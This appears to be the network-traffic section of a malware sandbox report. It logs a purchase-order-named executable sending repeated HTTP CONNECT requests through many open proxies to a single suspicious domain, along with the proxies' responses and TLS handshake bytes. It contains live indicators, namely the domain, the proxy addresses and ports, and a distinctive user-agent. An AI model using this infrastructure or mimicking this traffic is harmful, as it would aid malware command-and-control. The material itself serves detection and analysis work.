Mar 11, 2024 16:39:44.418853045 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.10	50440	172.67.14.237	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.419693947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.573833942 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.10	50442	185.238.228.240	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.419755936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.574230909 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.10	50288	174.64.199.82	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.419857979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.10	50393	198.23.229.203	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.419954062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.10	50449	172.67.209.12	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.420336008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.574438095 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.10	50335	54.152.3.36	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.420537949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.637156963 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:44 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:44.638199091 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 bf 81 14 e2 95 74 95 16 83 3b 3f 70 b2 c8 8f 3f 01 4d 51 64 79 11 c0 7d 8a bc 7b 1b 2b 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%t;?p?MQdy}{+*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:44.855263948 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 2f 2c 5e f3 7a 6a 6a 75 fb 78 53 d4 58 1a 3a 75 13 bc 28 83 25 15 86 f7 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9/,^zjjuxSX:u(%DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311144851Z260311144851Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:44.872278929 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 8a 27 33 51 72 35 9b 52 77 24 e9 eb 80 2c ea d3 96 57 ea 57 14 9f a1 31 13 29 23 9d 5d 01 d6 15 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 da f1 30 1e f2 5a c8 42 70 78 2d b8 d4 80 f1 f6 2e 5f af 59 3d Data Ascii: %! '3Qr5Rw$,WW1)#](0ZBpx-._Y=5K
Mar 11, 2024 16:39:45.087768078 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 09 6e 5a 99 2e c0 74 37 69 74 d9 85 a3 72 56 19 72 53 e5 77 0a 60 8a be 0c 69 97 88 c6 13 42 df c0 27 93 f8 bd d1 8f e2 Data Ascii: (nZ.t7itrVrSw`iB'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.10	50453	104.20.103.68	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.420541048 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.574947119 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.10	50272	95.31.42.199	3629	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.420542002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.10	50464	104.16.105.142	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.420703888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.574958086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.10	50275	193.239.56.84	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.420986891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.10	50174	41.223.232.117	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.420999050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.530211926 CET	238	IN	HTTP/1.1 403 Forbidden Content-Type: text/html Content-Length: 2149 Date: Mon, 11 Mar 2024 15:39:48 GMT X-Cache: MISS from kwts1-pub X-Cache-Lookup: NONE from kwts1-pub:3128 Via: 1.1 kwts1-pub (squid/4.8) Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.10	50264	91.202.230.219	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.420999050 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.10	50383	20.106.146.212	6001	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.421160936 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.10	50273	203.96.177.211	48553	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.421587944 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.082561016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.035682917 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.004641056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.868278027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.707884073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:59.598484039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.180489063 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.307540894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.10	50225	206.189.145.23	49614	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.422832966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.129448891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.207794905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.10	50473	104.24.35.152	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.422833920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.577528954 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.10	50400	45.196.151.84	5432	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.424201965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.641551018 CET	308	IN	HTTP/1.1 407 Proxy Authentication Required Server: FaaS v1.3-20220203-7fa38bd5af Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 65 Proxy-Authenticate: Basic realm="Proxy" Connection: close Data Raw: 48 54 54 50 20 61 75 74 68 6f 72 69 7a 61 74 69 6f 6e 20 65 72 72 6f 72 3a 20 69 70 20 61 75 74 68 20 66 61 69 6c 65 64 2c 20 6e 6f 20 63 72 65 64 65 6e 74 69 61 6c 73 20 70 72 6f 76 69 64 65 64 Data Ascii: HTTP authorization error: ip auth failed, no credentials provided

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.10	50195	103.159.66.61	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.437688112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.937053919 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.10	50406	51.79.87.144	41746	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.437944889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.10	50087	111.59.4.88	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.439029932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.410701990 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:45.973092079 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:45 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.10	50487	104.27.83.183	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.439443111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.593650103 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.10	50422	209.159.153.19	24543	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:44.444509029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:44.687324047 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
